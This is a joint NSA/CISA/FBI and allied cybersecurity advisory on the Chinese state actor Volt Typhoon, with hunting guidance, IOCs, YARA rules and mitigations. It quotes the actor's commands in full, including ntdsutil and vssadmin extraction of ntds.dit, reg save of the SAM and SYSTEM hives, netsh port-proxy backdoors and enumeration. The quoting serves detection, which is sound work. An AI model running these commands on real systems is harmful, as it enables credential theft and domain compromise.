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Cybersecurity Advisory


PEOPLE'S REPUBLIC OF CHINA STATE-SPONSORED CYBER ACTOR LIVING OFF THE LAND TO
EVADE DETECTION

Release Date
May 24, 2023
Alert Code
AA23-144a



SUMMARY

The United States and international cybersecurity authorities are issuing this
joint Cybersecurity Advisory (CSA) to highlight a recently discovered cluster of
activity of interest associated with a People’s Republic of China (PRC)
state-sponsored cyber actor, also known as Volt Typhoon(link is external).
Private sector partners have identified that this activity affects networks
across U.S. critical infrastructure sectors, and the authoring agencies believe
the actor could apply the same techniques against these and other sectors
worldwide.

This advisory from the United States National Security Agency (NSA), the U.S.
Cybersecurity and Infrastructure Security Agency (CISA), the U.S. Federal Bureau
of Investigation (FBI), the Australian Signals Directorate’s Australian Cyber
Security Centre (ACSC), the Communications Security Establishment’s Canadian
Centre for Cyber Security (CCCS), the New Zealand National Cyber Security Centre
(NCSC-NZ), and the United Kingdom National Cyber Security Centre (NCSC-UK)
(hereafter referred to as the “authoring agencies”) provides an overview of
hunting guidance and associated best practices to detect this activity.

One of the actor’s primary tactics, techniques, and procedures (TTPs) is living
off the land, which uses built-in network administration tools to perform their
objectives. This TTP allows the actor to evade detection by blending in with
normal Windows system and network activities, avoid endpoint detection and
response (EDR) products that would alert on the introduction of third-party
applications to the host, and limit the amount of activity that is captured in
default logging configurations. Some of the built-in tools this actor uses are:
wmic, ntdsutil, netsh, and PowerShell. The advisory provides examples of the
actor’s commands along with detection signatures to aid network defenders in
hunting for this activity. Many of the behavioral indicators included can also
be legitimate system administration commands that appear in benign activity.
Care should be taken not to assume that findings are malicious without further
investigation or other indications of compromise.

Download the PDF version of this report (723 KB)


TECHNICAL DETAILS

This advisory uses the MITRE ATT&CK for Enterprise framework, version 13. See
the Appendix: MITRE ATT&CK Techniques for all referenced tactics and techniques.


BACKGROUND

The authoring agencies are aware of recent People’s Republic of China (PRC)
state-sponsored cyber activity and have identified potential indicators
associated with these techniques. This advisory will help net defenders hunt for
this activity on their systems. It provides many network and host artifacts
associated with the activity occurring after the network has been initially
compromised, with a focus on command lines used by the cyber actor. An
Indicators of compromise (IOCs) summary is included at the end of this advisory.

Especially for living off the land techniques, it is possible that some command
lines might appear on a system as the result of benign activity and would be
false positive indicators of malicious activity. Defenders must evaluate matches
to determine their significance, applying their knowledge of the system and
baseline behavior. Additionally, if creating detection logic based on these
commands, network defenders should account for variability in command string
arguments, as items such as ports used may be different across environments.


ARTIFACTS


NETWORK ARTIFACTS

The actor has leveraged compromised small office/home office (SOHO) network
devices as intermediate infrastructure to obscure their activity by having much
of the command and control (C2) traffic emanate from local ISPs in the
geographic area of the victim. Owners of SOHO devices should ensure that network
management interfaces are not exposed to the Internet to avoid them being
re-purposed as redirectors by malicious actors. If they must be exposed to the
Internet, device owners and operators should ensure they follow zero trust
principles and maintain the highest level of authentication and access controls
possible.

The actor has used Earthworm and a custom Fast Reverse Proxy (FRP) client with
hardcoded C2 callbacks [T1090(link is external)] to ports 8080, 8443, 8043,
8000, and 10443 with various filenames including, but not limited to:

cisco_up.exe, cl64.exe, vm3dservice.exe, watchdogd.exe, Win.exe, WmiPreSV.exe, and WmiPrvSE.exe.


HOST ARTIFACTS

WINDOWS MANAGEMENT INSTRUMENTATION (WMI/WMIC)

The actor has executed the following command to gather information about local
drives [T1082(link is external)]:

cmd.exe /C "wmic path win32_logicaldisk get caption,filesystem,freespace,size,volumename"

This command does not require administrative credentials to return results. The
command uses a command prompt [T1059.003(link is external)] to execute a Windows
Management Instrumentation Command Line (WMIC) query, collecting information
about the storage devices on the local host, including drive letter, file system
(e.g., new technology file system [NTFS]), free space and drive size in bytes,
and an optional volume name. Windows Management Instrumentation (WMI) is a
built-in Windows tool that allows a user to access management information from
hosts in an enterprise environment. The command line version of WMI is called
WMIC.

By default, WMI Tracing is not enabled, so the WMI commands being executed and
the associated user might not be available. Additional information on WMI events
and tracing can be found in the References section of the advisory.

NTDS.DIT ACTIVE DIRECTORY DATABASE

The actor may try to exfiltrate the ntds.dit file and the SYSTEM registry hive
from Windows domain controllers (DCs) out of the network to perform password
cracking [T1003.003(link is external)]. (The ntds.dit file is the main Active
Directory (AD) database file and, by default, is stored at
%SystemRoot%\NTDS\ntds.dit. This file contains information about users, groups,
group memberships, and password hashes for all users in the domain; the SYSTEM
registry hive contains the boot key that is used to encrypt information in the
ntds.dit file.) Although the ntds.dit file is locked while in use by AD, a copy
can be made by creating a Volume Shadow Copy and extracting the ntds.dit file
from the Shadow Copy. The SYSTEM registry hive may also be obtained from the
Shadow Copy. The following example commands show the actor creating a Shadow
Copy and then extracting a copy of the ntds.dit file from it.

cmd /c vssadmin create shadow /for=C: > C:\Windows\Temp\<filename>.tmp

cmd /c copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy3\Windows\NTDS\ntds.dit C:\Windows\Temp > C:\Windows\Temp\<filename>.tmp

The built-in Ntdsutil.exe tool performs all these actions using a single
command. There are several ways to execute Ntdsutil.exe, including running from
an elevated command prompt (cmd.exe), using WMI/WMIC, or PowerShell. Defenders
should look for the execution of Ntdsutil.exe commands using long, short, or a
combination of the notations. For example, the long notation command activate
instance ntds ifm can also be executed using the short notation ac i ntds i.
Table 1 provides the long and short forms of the arguments used in the sample
Ntdsutil.exe command, along with a brief description of the arguments.



Table 1: Ntdsutil.exe command syntax

Long form

Short form

Description

Long form

activate instance %

Short form

ac i %

Description

Sets variable % as the active instance for ntdsutil to use

Long form

ifm

Short form

i

Description

Install from media (ifm). Creates installation media to be used with DCPromo so
the server will not need to copy data from another Domain Controller on the
network

The actor has executed WMIC commands [T1047(link is external)] to create a copy
of the ntds.dit file and SYSTEM registry hive using ntdsutil.exe. Each of the
following actor commands is a standalone example; multiple examples are provided
to show how syntax and file paths may differ per environment.

wmic process call create "ntdsutil \"ac i ntds\" ifm \"create full C:\Windows\Temp\pro

wmic process call create "cmd.exe /c ntdsutil \"ac i ntds\" ifm \"create full C:\Windows\Temp\Pro"

wmic process call create "cmd.exe /c mkdir C:\Windows\Temp\tmp & ntdsutil \"ac i ntds\" ifm \"create full C:\Windows\Temp\tmp\"

"cmd.exe" /c wmic process call create "cmd.exe /c mkdir C:\windows\Temp\McAfee_Logs & ntdsutil \"ac i ntds\" ifm \"create full C:\Windows\Temp\McAfee_Logs\"

cmd.exe /Q /c wmic process call create "cmd.exe /c mkdir C:\Windows\Temp\tmp & ntdsutil \"ac i ntds\" ifm \"create full C:\Windows\Temp\tmp\"  1> \\127.0.0.1\ADMIN$\<timestamp value> 2>&1

Note: The <timestamp value> would be an epoch timestamp following the format
like “__1684956600.123456”.

Each actor command above creates a copy of the ntds.dit database and the SYSTEM
and SECURITY registry hives in the C:\Windows\Temp\<folder> directory, where
<folder> is replaced with the path specified in the command (e.g., pro, tmp, or
McAfee_Logs). By default, the hidden ADMIN$ share is mapped to C:\Windows\, so
the last command will direct standard output and error messages from the command
to a file within the folder specified.

The actor has also saved the files directly to the C:\Windows\Temp and
C:\Users\Public directories, so the entirety of those directory structures
should be analyzed. Ntdsutil.exe creates two subfolders in the directory
specified in the command: an Active Directory folder that contains the ntds.dit
and ntds.jfm files, and a registry folder that contains the SYSTEM and SECURITY
hives. Defenders should look for this folder structure across their network:

<path specified in command>\Active Directory\ntds.dit
<path specified in command>\Active Directory\ntds.jfm

<path specified in command>\registry\SECURITY

<path specified in command>\registry\SYSTEM

When one of the example commands is executed, several successive log entries are
created in the Application log, under the ESENT Source. Associated events can be
viewed in Windows Event Viewer by navigating to: Windows Logs | Application. To
narrow results to relevant events, select Filter Current Log from the Actions
menu on the right side of the screen. In the Event sources dropdown, check the
box next to ESENT, then limit the logs to ID numbers 216, 325, 326, and 327.
Clicking the OK box will apply the filters to the results.

Since ESENT logging is used extensively throughout Windows, defenders should
focus on events that reference ntds.dit. If such events are present, the events’
details should contain the file path where the file copies were created. Since
these files can be deleted, or enhanced logging may not be configured on hosts,
the file path can greatly aid in a hunt operation. Identifying the user
associated with this activity is also a critical step in a hunt operation as
other actions by the compromised—or actor-created—user account can be helpful to
understand additional actor TTPs, as well as the breadth of the actor's actions.

Note: If an actor can exfiltrate the ntds.dit and SYSTEM registry hive, the
entire domain should be considered compromised, as the actor will generally be
able to crack the password hashes for domain user accounts, create their own
accounts, and/or join unauthorized systems to the domain. If this occurs,
defenders should follow guidance for removing malicious actors from victim
networks, such as CISA's Eviction Guidance for Network Affected by the
SolarWinds and Active Directory/M365 Compromise.

In addition to the above TTPs used by the actor to copy the ntds.dit file, the
following tools could be used by an actor to obtain the same information:

 * Secretsdump.py
   * Note: This script is a component of Impacket, which the actor has been
     known to use
 * Invoke-NinjaCopy (PowerShell)
 * DSInternals (PowerShell)
 * FgDump
 * Metasploit

Best practices for securing ntds.dit include hardening Domain Controllers and
monitoring event logs for ntdsutil.exe and similar process creations.
Additionally, any use of administrator privileges should be audited and
validated to confirm the legitimacy of executed commands.

PORTPROXY

The actor has used the following commands to enable port forwarding [T1090(link
is external)] on the host:

"cmd.exe /c "netsh interface portproxy add v4tov4 listenaddress=0.0.0.0 listenport=9999 connectaddress=<rfc1918 internal ip address> connectport=8443 protocol=tcp""

"cmd.exe /c netsh interface portproxy add v4tov4 listenport=50100 listenaddress=0.0.0.0 connectport=1433 connectaddress=<rfc1918 internal ip address>"

where <rfc1918 internal ip address> is replaced with an IPv4 address internal to
the network, omitting the < >’s.

Netsh is a built-in Windows command line scripting utility that can display or
modify the network settings of a host, including the Windows Firewall. The
portproxy add command is used to create a host:port proxy that will forward
incoming connections on the provided listenaddress and listenport to the
connectaddress and connectport. Administrative privileges are required to
execute the portproxy command. Each portproxy command above will create a
registry key in the HKLM\SYSTEM\CurrentControlSet\Services\PortProxy\v4tov4\tcp\
path. Defenders should look for the presences of keys in this path and
investigate any anomalous entries.

Note: Using port proxies is not common for legitimate system administration
since they can constitute a backdoor into the network that bypasses firewall
policies. Administrators should limit port proxy usage within environments and
only enable them for the period of time in which they are required.

Defenders should also use unusual IP addresses and ports in the command lines or
registry entries to identify other hosts that are potentially included in actor
actions. All hosts on the network should be examined for new and unusual
firewall and port forwarding rules, as well as IP addresses and ports specified
by the actor. If network traffic or logging is available, defenders should
attempt to identify what traffic was forwarded though the port proxies to aid in
the hunt operation. As previously mentioned, identifying the associated user
account that made the networking changes can also aid in the hunt operation.

Firewall rule additions and changes can be viewed in Windows Event Viewer by
navigating to:

Applications and Service Logs | Microsoft | Windows | Windows Firewall With Advanced Security | Firewall.

In addition to host-level changes, defenders should review perimeter firewall
configurations for unauthorized changes and/or entries that may permit external
connections to internal hosts. The actor is known to target perimeter devices in
their operations. Firewall logs should be reviewed for any connections to
systems on the ports listed in any portproxy commands discovered.

POWERSHELL

The actor has used the following PowerShell [T1059.001(link is external)]
command to identify successful logons to the host [T1033(link is external)]:

Get-EventLog security -instanceid 4624

Note: Event ID 4624 is logged when a user successfully logs on to a host and
contains useful information such as the logon type (e.g., interactive or
networking), associated user and computer account names, and the logon time.
Event ID 4624 entries can be viewed in Windows Event Viewer by navigating to:

Windows Logs | Security. PowerShell logs can be viewed in Event Viewer: Applications and Service Logs | Windows PowerShell.

This command identifies what user account they are currently leveraging to
access the network, identify other users logged on to the host, or identify how
their actions are being logged. If the actor is using a password spray technique
[T1110.003(link is external)], there may be several failed logon (Event ID 4625)
events for several different user accounts, followed by one or more successful
logons (Event ID 4624) within a short period of time. This period may vary by
actor but can range from a few seconds to a few minutes.

If the actor is using brute force password attempts [T1110(link is external)]
against a single user account, there may be several Event ID 4625 entries for
that account, followed by a successful logon Event ID 4624. Defenders should
also look for abnormal account activity, such as logons outside of normal
working hours and impossible time-and-distance logons (e.g., a user logging on
from two geographically separated locations at the same time).

IMPACKET

The actor regularly employs the use of Impacket’s wmiexec, which redirects
output to a file within the victim host's ADMIN$ share (C:\Windows\) containing
an epoch timestamp in its name. The following is an example of the "dir" command
being executed by wmiexec.py:

cmd.exe /Q /c *dir 1> \\127.0.0.1\ADMIN$\__1684956600.123456 2>&1

Note: Discovery of an entry similar to the example above in the Windows Event
Log and/or a file with a name in a similar format may be evidence of malicious
activity and should be investigated further. In the event that only a filename
is discovered, the epoch timestamp within the filename reflects the time of
execution by default and can be used to help scope threat hunting activities.

ENUMERATION OF THE ENVIRONMENT

The following commands were used by the actor to enumerate the network topology
[T1016(link is external)], the active directory structure [T1069.002(link is
external)], and other information about the target environment [T1069.001(link
is external)], [T1082(link is external)]:

arp -a

curl www.ip-api.com

dnscmd . /enumrecords /zone {REDACTED}

dnscmd . /enumzones

dnscmd /enumrecords {REDACTED} . /additional

ipconfig /all

ldifde.exe -f c:\windows\temp\<filename>.txt -p subtree

net localgroup administrators

net group /dom

net group "Domain Admins" /dom

netsh interface firewall show all

netsh interface portproxy show all

netsh interface portproxy show v4tov4

netsh firewall show all

netsh portproxy show v4tov4

netstat -ano

reg query hklm\software\

systeminfo

tasklist /v

whoami

wmic volume list brief

wmic service brief

wmic product list brief

wmic baseboard list full

wevtutil qe security /rd:true /f:text /q:*[System[(EventID=4624) and TimeCreated[@SystemTime>='{REDACTED}']] and EventData[Data='{REDACTED}']]

ADDITIONAL CREDENTIAL THEFT

The actor also used the following commands to identify additional opportunities
for obtaining credentials in the environment [T1555(link is external)],
[T1003(link is external)]:

dir C:\Users\{REDACTED}\.ssh\known_hosts

dir C:\users\{REDACTED}\appdata\roaming\Mozilla\firefox\profiles

     mimikatz.exe

reg query hklm\software\OpenSSH

reg query hklm\software\OpenSSH\Agent

reg query hklm\software\realvnc

reg query hklm\software\realvnc\vncserver

reg query hklm\software\realvnc\Allusers

reg query hklm\software\realvnc\Allusers\vncserver

reg query hkcu\software\{REDACTED}\putty\session

reg save hklm\sam ss.dat

reg save hklm\system sy.dat

ADDITIONAL COMMANDS

The actor executed the following additional commands:

7z.exe a -p {REDACTED} c:\windows\temp\{REDACTED}.7z

C:\Windows\system32\pcwrun.exe C:\Users\Administrator\Desktop\Win.exe

C:\Windows\System32\cmdbak.exe /c ping -n 1 127.0.0.1 >

C:\Windows\temp\putty.log

C:\Windows\Temp\tmp.log

"cmd.exe" /c dir \\127.0.0.1\C$ /od

"cmd.exe" /c ping –a –n 1 <IP address>

"cmd.exe" /c wmic /user:<username> /password:<password> process call create "net stop \"<service name>\" > C:\Windows\Temp\tmp.log"

cmd.exe /Q /c cd 1> \\127.0.0.1\ADMIN$\__<timestamp value> 2 2>&1

net use \\127.0.0.1\IPC$ /y /d

powershell start-process -filepath c:\windows\temp\<filename>.bat -windowstyle Hidden

rar.exe a –{REDACTED} c:\Windows\temp\{REDACTED} D:\{REDACTED}\

wmic /node:{REDACTED} /user:{REDACTED} /password:{REDACTED} cmd /c whoami

xcopy C:\windows\temp\hp d:\{REDACTED}


MITIGATIONS

The authoring agencies recommend organizations implement the mitigations below
to improve your organization’s cybersecurity posture on the basis of the threat
actor’s activity. These mitigations align with the Cross-Sector Cybersecurity
Performance Goals (CPGs) developed by CISA and the National Institute of
Standards and Technology (NIST). The CPGs provide a minimum set of practices and
protections that CISA and NIST recommend all organizations implement. CISA and
NIST based the CPGs on existing cybersecurity Frameworks and guidance to protect
against the most common and impactful threats and TTPs. Visit CISA’s
Cross-Sector Cybersecurity Performance Goals for more information on the CPGs,
including additional recommended baseline protections.

 * Defenders should harden domain controllers and monitor event logs [2.T] for
   ntdsutil.exe and similar process creations. Additionally, any use of
   administrator privileges should be audited and validated to confirm the
   legitimacy of executed commands.
 * Administrators should limit port proxy usage within environments and only
   enable them for the period of time in which they are required [2.X].
 * Defenders should investigate unusual IP addresses and ports in command lines,
   registry entries, and firewall logs to identify other hosts that are
   potentially involved in actor actions.
 * In addition to host-level changes, defenders should review perimeter firewall
   configurations for unauthorized changes and/or entries that may permit
   external connections to internal hosts.
 * Defenders should also look for abnormal account activity, such as logons
   outside of normal working hours and impossible time-and-distance logons
   (e.g., a user logging on from two geographically separated locations at the
   same time).
 * Defenders should forward log files to a hardened centralized logging server,
   preferably on a segmented network [2.F].


LOGGING RECOMMENDATIONS

To be able to detect the activity described in this CSA, defenders should set
the audit policy for Windows security logs to include “audit process creation”
and “include command line in process creation events” in addition to accessing
the logs. Otherwise, the default logging configurations may not contain the
necessary information.

Enabling these options will create Event ID 4688 entries in the Windows Security
log to view command line processes. Given the cost and difficulty of logging and
analyzing this kind of activity, if an organization must limit the requirements,
they should focus on enabling this kind of logging on systems that are
externally facing or perform authentication or authorization, especially
including domain controllers.

To hunt for the malicious WMI and PowerShell activity, defenders should also log
WMI and PowerShell events. By default, WMI Tracing and deep PowerShell logging
are not enabled, but they can be enabled by following the configuration
instructions linked in the References section.

The actor takes measures to hide their tracks, such as clearing logs
[T1070.001(link is external)]. To ensure log integrity and availability,
defenders should forward log files to a hardened centralized logging server,
preferably on a segmented network. Such an architecture makes it harder for an
actor to cover their tracks as evidence of their actions will be captured in
multiple locations.

Defenders should also monitor logs for Event ID 1102, which is generated when
the audit log is cleared. All Event ID 1102 entries should be investigated as
logs are generally not cleared and this is a known actor tactic to cover their
tracks. Even if an event log is cleared on a host, if the logs are also stored
on a logging server, the copy of the log will be preserved.

This activity is often linked to malicious exploitation of edge devices and
network management devices. Defenders should enable logging on their edge
devices, to include system logs, to be able to identify potential exploitation
and lateral movement. They should also enable network-level logging, such as
sysmon, webserver, middleware, and network device logs.


INDICATORS OF COMPROMISE (IOCS) SUMMARY


TTPS

 * Exploiting vulnerabilities [T1190(link is external)] in widely used software
   including, but not limited to:
   * CVE-2021-40539—ManageEngine ADSelfService Plus.
     https://www.cisa.gov/uscert/ncas/alerts/aa21-259a.
   * CVE-2021-27860—FatPipe WARP, IPVPN, MPVPN.
     https://www.ic3.gov/Media/News/2021/211117-2.pdf.
 * Using webshells for persistence and exfiltration [T1505.003(link is
   external)], with at least some of the webshells derived from the Awen
   webshell.
 * Using compromised Small-Office Home-Office (SOHO) devices (e.g. routers) to
   obfuscate the source of the activity [T1090.002(link is external)].
   * Most common types include ASUS, Cisco RV, Draytek Vigor, FatPipe
     IPVPN/MPVPN/WARP, Fortinet Fortigate, Netgear Prosafe, and Zyxel USG
     devices.
   * Common CVEs for these devices and mitigation guidance can be found in the
     joint Cybersecurity Advisory, “Top CVEs Actively Exploited by People’s
     Republic of China State-Sponsored Cyber Actors.”
 * Using living off the land tools for discovery, lateral movement, and
   collection activities, to include:
   * certutil
   * dnscmd
   * ldifde
   * makecab
   * net user/group/use
   * netsh
   * nltest
   * ntdsutil
   * PowerShell
   * req query/save
   * systeminfo
   * tasklist
   * wevtutil
   * wmic
   * xcopy
 * Selective clearing of Windows Event Logs, system logs, and other technical
   artifacts to remove evidence of their intrusion activity [T1546(link is
   external)].
 * Using open source “hacktools” tools, such as:
   * Fast Reverse Proxy (frp) – Probably derived from the publicly-available
     fatedier and EarthWorm variants.
   * Impacket – To detect Impacket usage, see the joint Cybersecurity Advisory:
     "Impacket and Exfiltration Tool Used to Steal Sensitive Information from
     Defense Industrial Base Organization”.
   * Mimikatz.exe
   * Remote administration tools – Defenders should consult the joint
     Cybersecurity Advisory: "Protecting Against Malicious Use of Remote
     Monitoring and Management Software".


COMMAND EXECUTION

File names and directory paths used in these commands are only meant to serve as
examples. Actual names and paths may differ depending on environment and
activity, so defenders should account for variants when performing queries.

Note: Many of the commands are derivatives of common system administration
commands that could generate false positives when used alone without additional
indicators.

7z.exe a -p {REDACTED} c:\windows\temp\{REDACTED}.7z c:\windows\temp\*

"C:\pstools\psexec.exe" \\{REDACTED} -s cmd /c "cmd.exe /c "netsh interface portproxy delete v4tov4 listenaddress=0.0.0.0 listenport=9999""

C:\Windows\system32\pcwrun.exe C:\Users\Administrator\Desktop\Win.exe

cmd.exe /C dir /S \\{REDACTED}\c$\Users\{REDACTED} >> c:\windows\temp\{REDACTED}.tmp



"cmd.exe" /c wmic process call create "cmd.exe /c mkdir C:\windows\Temp\McAfee_Logs & ntdsutil \"ac i ntds\" ifm \"create full C:\Windows\Temp\McAfee_Logs\"

cmd.exe /Q /c *cd 1> \\127.0.0.1\ADMIN$\__<timestamp value> 2>&1

cmd.exe /Q /c cd 1> \\127.0.0.1\ADMIN$\__1652470932.9400265 2>&1

cmd.exe /Q /c net group "domain admins" /dom 1>\\127.0.0.1\ADMIN$\__<timestamp value> 2>&1

cmd.exe /Q /c wmic process call create "cmd.exe /c mkdir C:\Windows\Temp\tmp & ntdsutil \"ac i ntds\" ifm \"create full C:\Windows\Temp\tmp\"  1> \\127.0.0.1\ADMIN$\<timestamp value>  2>&1

D:\{REDACTED}\xcopy C:\windows\temp\hp d:\{REDACTED}

Get-EventLog security -instanceid 4624

ldifde.exe -f c:\windows\temp\cisco_up.txt -p subtree

makecab ..\backup\210829-020000.zip ..\webapps\adssp\html\Lock.lic

move "\\<redacted>\c$\users\public\Appfile\registry\SYSTEM" ..\backup\210829-020000.zip

netsh interface portproxy add v4tov4 listenaddress=0.0.0.0 listenport=9999 connectaddress={REDACTED} connectport=8443 protocol=tcp

netsh interface portproxy delete v4tov4 listenaddress=0.0.0.0 listenport=9999



Rar.exe a –{REDACTED} c:\Windows\temp\DMBC2C61.tmp

start-process -filepath c:\windows\temp\<filename>.bat -windowstyle hidden 1

Note: The batch file in question (<filename>.bat) could use any name, and no
discernable pattern has been determined at this time.

wmic process call create "cmd.exe /c mkdir C:\users\public\Appfile & ntdsutil \"ac i ntds\" ifm \"create full C:\users\public\Appfile\" q q

wmic process call create "cmd.exe /c mkdir C:\Windows\Temp\tmp & ntdsutil \"ac i ntds\" ifm \"create full C:\Windows\Temp\tmp\"

wmic process call create "cmd.exe /c ntdsutil \"ac i ntds\" ifm \"create full C:\Windows\Temp\Pro"

wmic process call create "ntdsutil \"ac i ntds\" ifm \"create full C:\Windows\Temp\"

COMMAND LINE PATTERNS

Certain patterns in commands (with asterisks for wildcards) can be used to
identify potentially malicious commands:

 * cmd.exe /C dir /S \\* >> *
 * cmd.exe /Q /c * 1> \\127.0.0.1\ADMIN$\__*.*>&1
 * powershell start-process -filepath c:\windows\temp\*.exe -windowstyle hidden


FILE PATHS

The most common paths where files and executables used by the actor have been
found include:

 * C:\Users\Public\Appfile (including subdirectories)
 * C:\Perflogs (including subdirectories)
 * C:\Windows\Temp (including subdirectories)


FILE NAMES

The file names the actor has previously used for such things as malware,
scripts, and tools include:

backup.bat

cl64.exe

update.bat

Win.exe

billagent.exe

nc.exe

update.exe

WmiPrvSE.exe

billaudit.exe

rar.exe

vm3dservice.exe

WmiPreSV.exe

cisco_up.exe

SMSvcService.exe

watchdogd.exe

 

In addition to the file names and paths above, malicious files names, believed
to be randomly created, in the following format have also been discovered:

C:\Windows\[a-zA-Z]{8}.exe


SHA-256 FILE HASHES

 * f4dd44bc19c19056794d29151a5b1bb76afd502388622e24c863a8494af147dd

 * ef09b8ff86c276e9b475a6ae6b54f08ed77e09e169f7fc0872eb1d427ee27d31

 * d6ebde42457fe4b2a927ce53fc36f465f0000da931cfab9b79a36083e914ceca

 * 472ccfb865c81704562ea95870f60c08ef00bcd2ca1d7f09352398c05be5d05d

 * 66a19f7d2547a8a85cee7a62d0b6114fd31afdee090bd43f36b89470238393d7

 * 3c2fe308c0a563e06263bbacf793bbe9b2259d795fcc36b953793a7e499e7f71

 * 41e5181b9553bbe33d91ee204fe1d2ca321ac123f9147bb475c0ed32f9488597

 * c7fee7a3ffaf0732f42d89c4399cbff219459ae04a81fc6eff7050d53bd69b99

 * 3a9d8bb85fbcfe92bae79d5ab18e4bca9eaf36cea70086e8d1ab85336c83945f

 * fe95a382b4f879830e2666473d662a24b34fccf34b6b3505ee1b62b32adafa15

 * ee8df354503a56c62719656fae71b3502acf9f87951c55ffd955feec90a11484


USER-AGENT

In some cases, the following user-agent string (including the extra spacing) was
identified performing reconnaissance activities by this actor:

Mozilla/5.0 (Windows NT 6.1; WOW64; rv:68.0)               Gecko/20100101 Firefox/68.0


YARA RULES

rule ShellJSP {

    strings:

        $s1 = "decrypt(fpath)"

        $s2 = "decrypt(fcontext)"

        $s3 = "decrypt(commandEnc)"

        $s4 = "upload failed!"

        $s5 = "aes.encrypt(allStr)"

        $s6 = "newid"


    condition:

        filesize < 50KB and 4 of them

}

rule EncryptJSP {

    strings:

        $s1 = "AEScrypt"

        $s2 = "AES/CBC/PKCS5Padding"

        $s3 = "SecretKeySpec"

        $s4 = "FileOutputStream"

        $s5 = "getParameter"

        $s6 = "new ProcessBuilder"

        $s7 = "new BufferedReader"

        $s8 = "readLine()"


    condition:

        filesize < 50KB and 6 of them

}

rule CustomFRPClient {

   meta:

        description=”Identify instances of the actor's custom FRP tool based on unique strings chosen by the actor and included in the tool”

   strings:

        $s1 = "%!PS-Adobe-" nocase ascii wide

        $s2 = "github.com/fatedier/frp/cmd/frpc" nocase ascii wide

        $s3 = "github.com/fatedier/frp/cmd/frpc/sub.startService" nocase ascii wide

        $s4 = "MAGA2024!!!" nocase ascii wide

        $s5 = "HTTP_PROXYHost: %s" nocase ascii wide

  

   condition:

        all of them

}

rule HACKTOOL_FRPClient {

   meta:

        description=”Identify instances of FRP tool (Note: This tool is known to be used by multiple actors, so hits would not necessarily imply activity by the specific actor described in this report)”

   strings:

        $s1 = "%!PS-Adobe-" nocase ascii wide

        $s2 = "github.com/fatedier/frp/cmd/frpc" nocase ascii wide

        $s3 = "github.com/fatedier/frp/cmd/frpc/sub.startService" nocase ascii wide

        $s4 = "HTTP_PROXYHost: %s" nocase ascii wide

  

   condition:

        3 of them

}


REFERENCES

Active Directory and domain controller hardening:

 * Best practices:
   https://learn.microsoft.com/en-us/windows-server/identity/ad-ds/plan/security-best-practices/best-practices-for-securing-active-directory(link
   is external)

CISA regional cyber threats:

 * PRC state-sponsored activity: China Cyber Threat Overview and Advisories

Microsoft Threat Intelligence blog:

 * Volt Typhoon activity:
   https://www.microsoft.com/en-us/security/blog/2023/05/24/volt-typhoon-targets-us-critical-infrastructure-with-living-off-the-land-techniques/(link
   is external)

Ntdsutil.exe:

 * Overview:
   https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/cc753343(v=ws.11)(link
   is external)

PowerShell:

 * Best practices:
   https://media.defense.gov/2022/Jun/22/2003021689/-1/-1/0/CSI_KEEPING_POWERSHELL_SECURITY_MEASURES_TO_USE_AND_EMBRACE_20220622.PDF
 * Logging configuration:
   https://www.mandiant.com/resources/blog/greater-visibility(link is external)

Windows command line process auditing:

 * Overview:
   https://learn.microsoft.com/en-us/windows-server/identity/ad-ds/manage/component-updates/command-line-process-auditing(link
   is external)

Windows Defender Firewall:

 * Best practices:
   https://learn.microsoft.com/en-us/windows/security/threat-protection/windows-firewall/best-practices-configuring(link
   is external)
 * Logging configuration:
   https://learn.microsoft.com/en-us/windows/security/threat-protection/windows-firewall/configure-the-windows-firewall-log(link
   is external)

Windows management instrumentation:

 * Events:
   https://learn.microsoft.com/en-us/windows/win32/wmisdk/tracing-wmi-activity#obtaining-wmi-events-through-event-viewer(link
   is external)
 * Tracing activity:
   https://learn.microsoft.com/en-us/windows/win32/wmisdk/tracing-wmi-activity(link
   is external)

Windows password spraying:

 * Logging and playbook configuration:
   https://learn.microsoft.com/en-us/security/compass/incident-response-playbook-password-spray(link
   is external)


ACKNOWLEDGEMENTS

The NSA Cybersecurity Collaboration Center, along with the authoring agencies,
acknowledge Amazon Web Services (AWS) Security, Broadcom, Cisco Talos, Google's
Threat Analysis Group, Lumen Technologies, Mandiant, Microsoft Threat
Intelligence (MSTI), Palo Alto Networks, SecureWorks, SentinelOne, Trellix, and
additional industry partners for their collaboration on this advisory.

DISCLAIMER OF ENDORSEMENT

The information and opinions contained in this document are provided "as is" and
without any warranties or guarantees. Reference herein to any specific
commercial products, process, or service by trade name, trademark, manufacturer,
or otherwise does not constitute or imply its endorsement, recommendation, or
favoring by the authoring agencies' governments, and this guidance shall not be
used for advertising or product endorsement purposes.

TRADEMARK RECOGNITION

Active Directory®, Microsoft®, PowerShell®, and Windows® are registered
trademarks of Microsoft Corporation. MITRE® and ATT&CK® are registered
trademarks of The MITRE Corporation.

PURPOSE

This document was developed in furtherance of the authoring agencies’
cybersecurity missions, including their responsibilities to identify and
disseminate threats, and to develop and issue cybersecurity specifications and
mitigations. This information may be shared broadly to reach all appropriate
stakeholders.

CONTACT

U.S. organizations: Urgently report any anomalous activity or incidents,
including based upon technical information associated with this Cybersecurity
Advisory, to CISA at Report@cisa.dhs.gov(link sends email) or cisa.gov/report or
to the FBI via your local FBI field office listed at
https://www.fbi.gov/contact-us/field-offices.  

NSA Cybersecurity Report Questions and Feedback:
CybersecurityReports@nsa.gov(link sends email)

NSA Defense Industrial Base Inquiries and Cybersecurity Services:
DIB_Defense@cyber.nsa.gov(link sends email)

NSA Media Inquiries / Press Desk: 443-634-0721, MediaRelations@nsa.gov(link
sends email)

Australian organizations: Visit cyber.gov.au(link is external) or call 1300 292
371 (1300 CYBER 1) to report cybersecurity incidents and to access alerts and
advisories.

Canadian organizations: Report incidents by emailing CCCS at
contact@cyber.gc.ca(link sends email).

New Zealand organizations: Report cyber security incidents to
incidents@ncsc.govt.nz(link sends email) or call 04 498 7654.

United Kingdom organizations: Report a significant cyber security incident at
ncsc.gov.uk/report-an-incident(link is external) (monitored 24 hours) or, for
urgent assistance, call 03000 200 973.


APPENDIX: MITRE ATT&CK TECHNIQUES

Table 2 captures all referenced threat actor tactics and techniques in this
advisory.

Table 2: All referenced threat actor tactics and techniques

Initial Access

Technique Title

ID

Use

Exploit Public-facing Application

T1190(link is external)

Actor used public-facing applications to gain initial access to systems; in this
case, Earthworm and PortProxy.

Execution

Windows Management Instrumentation

T1047(link is external)

The actor executed WMIC commands to create a copy of the SYSTEM registry.

Command and Scripting Interpreter: PowerShell

T1059.001(link is external)

